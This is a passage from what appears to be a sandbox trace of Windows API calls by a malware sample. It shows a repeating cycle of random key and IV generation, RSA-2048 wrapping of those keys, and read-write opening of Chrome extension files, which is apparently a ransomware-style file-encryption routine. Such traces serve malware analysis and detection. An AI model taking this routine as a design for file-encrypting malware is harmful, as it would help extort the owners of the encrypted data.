dwFlags=0x0) returned 1 [0236.530] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.534] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.534] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.534] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.534] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.537] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cfb8) returned 1 [0236.537] CryptGetKeyParam (in: hKey=0x659cfb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.537] CryptEncrypt (in: hKey=0x659cfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8f60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.537] GetLastError () returned 0x0 [0236.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.537] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.539] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c978) returned 1 [0236.539] CryptGetKeyParam (in: hKey=0x659c978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.539] CryptEncrypt (in: hKey=0x659c978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8f70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.539] GetLastError () returned 0x0 [0236.539] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.540] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.544] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.544] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.544] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.545] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.548] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.548] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.548] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.548] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.551] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cdb8) returned 1 [0236.551] CryptGetKeyParam (in: hKey=0x659cdb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.551] CryptEncrypt (in: hKey=0x659cdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8f80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.551] GetLastError () returned 0x0 [0236.551] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.551] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.553] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c9b8) returned 1 [0236.553] CryptGetKeyParam (in: hKey=0x659c9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.553] CryptEncrypt (in: hKey=0x659c9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8f90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.553] GetLastError () returned 0x0 [0236.553] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.554] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.554] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.558] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.558] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.562] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.562] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.562] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.562] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.565] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d478) returned 1 [0236.565] CryptGetKeyParam (in: hKey=0x659d478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.565] CryptEncrypt (in: hKey=0x659d478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8fa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8fa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.565] GetLastError () returned 0x0 [0236.565] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.565] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.567] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d0b8) returned 1 [0236.567] CryptGetKeyParam (in: hKey=0x659d0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.567] CryptEncrypt (in: hKey=0x659d0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8fb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8fb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.567] GetLastError () returned 0x0 [0236.567] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.567] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.569] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.571] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.573] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.573] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.576] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.576] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.576] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.576] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.578] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d3b8) returned 1 [0236.579] CryptGetKeyParam (in: hKey=0x659d3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.579] CryptEncrypt (in: hKey=0x659d3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8fc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8fc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.579] GetLastError () returned 0x0 [0236.579] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.579] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.581] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d778) returned 1 [0236.581] CryptGetKeyParam (in: hKey=0x659d778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.581] CryptEncrypt (in: hKey=0x659d778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8fd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8fd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.581] GetLastError () returned 0x0 [0236.581] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.581] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.582] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.586] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.586] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.591] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.591] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.593] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d4b8) returned 1 [0236.593] CryptGetKeyParam (in: hKey=0x659d4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.593] CryptEncrypt (in: hKey=0x659d4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8fe0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8fe0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.593] GetLastError () returned 0x0 [0236.593] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.593] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.595] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d678) returned 1 [0236.595] CryptGetKeyParam (in: hKey=0x659d678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.595] CryptEncrypt (in: hKey=0x659d678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ff0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8ff0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.596] GetLastError () returned 0x0 [0236.596] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.597] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.601] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.601] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.601] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.605] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.605] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.605] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.608] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d6b8) returned 1 [0236.608] CryptGetKeyParam (in: hKey=0x659d6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.608] CryptEncrypt (in: hKey=0x659d6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9000000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9000000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.608] GetLastError () returned 0x0 [0236.608] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.608] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.610] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d578) returned 1 [0236.610] CryptGetKeyParam (in: hKey=0x659d578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.610] CryptEncrypt (in: hKey=0x659d578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9010000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9010000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.610] GetLastError () returned 0x0 [0236.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.610] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.611] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.615] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.616] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.616] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.620] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.621] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.623] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d238) returned 1 [0236.623] CryptGetKeyParam (in: hKey=0x659d238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.623] CryptEncrypt (in: hKey=0x659d238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9020000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9020000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.624] GetLastError () returned 0x0 [0236.624] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.624] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d378) returned 1 [0236.626] CryptGetKeyParam (in: hKey=0x659d378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.626] CryptEncrypt (in: hKey=0x659d378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9030000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9030000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.626] GetLastError () returned 0x0 [0236.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.626] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.627] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.631] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.631] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.631] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.635] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.635] CryptReleaseContext (hProv=0x5c4760, 